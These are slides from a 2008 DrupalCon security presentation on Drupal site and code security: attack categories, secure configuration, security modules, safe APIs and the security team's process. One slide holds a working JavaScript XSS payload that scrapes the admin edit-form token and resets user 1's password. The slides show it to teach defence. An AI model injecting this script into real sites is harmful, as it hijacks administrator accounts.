These are the slides from the security presentation. Visit the s5 version to see them as a presentation.

Greg Knaddison and James Walker

Drupaloop, baby

2008/03/05 13:30
DrupalCon Boston

Why bother

Authentication

Authorization

Client-side attacks

Command Execution

Information Disclosure

if (typeof jQuery == 'function') {
jQuery.get('/user/1/edit',
function (data, status) {
if (status == 'success') {
var matches = data.match(/id="edit-user-edit-form-token" value="([a-z0-9]*)"/);
var token = matches[1];
var payload = {
"form_id": 'user_edit',
"form_token": token,
"pass[pass1]": 'hacked',
"pass[pass2]": 'hacked'
};
jQuery.post('/user/1/edit', payload);
}
}
);
}

From Heine

Secure Configurations

Drupal permissions - “be careful - test”
Input formats - http://drupal.org/node/224921
File permissions - http://drupal.org/node/117054
PHP Filter - don’t use it

Be a Secure User

Security related modules

http://drupal.org/project/phpass
http://drupal.org/project/single_login
http://drupal.org/project/httpbl
http://drupal.org/project/paranoia
http://drupal.org/project/password_policy or http://drupal.org/project/password_strength
http://drupal.org/project/persistent_login
http://drupal.org/project/phpids

Writing Secure Code

Use the APIs luke.

FAPI

Ensures form selections were provided to user
Protects against CSRF

t()

Protects against XSS

check_plain(), filter_xss()

drupal_render()

content_format()

db_query()

db_rewrite_sql()

Proper use of these functions will solve the most common issues.

See http://drupal.org/writing-secure-code for more information.

When in doubt, ask.

Goals and Processes

  1. Protect Drupal sites secure from Zero Day exploits
    1. Be really quiet, then really loud
  2. Promote security practices in core and contrib
    1. Make defaults and “proper” use of APIs secure
    2. Provide docs and examples
  3. Facilitate fixes for contrib (not scanning, necessarily)
    1. Intake of reports, pass information along, provide guidance, make announcements

Report a Problem

Contrib Module Workflow

Policies:

Cover core and contrib under basically the same process
Only create SAs if:

Only current and last version are supported. This could be changed if enough volunteers stepped forward, but that has proven unlikely so far.

Q?

A (hopefully)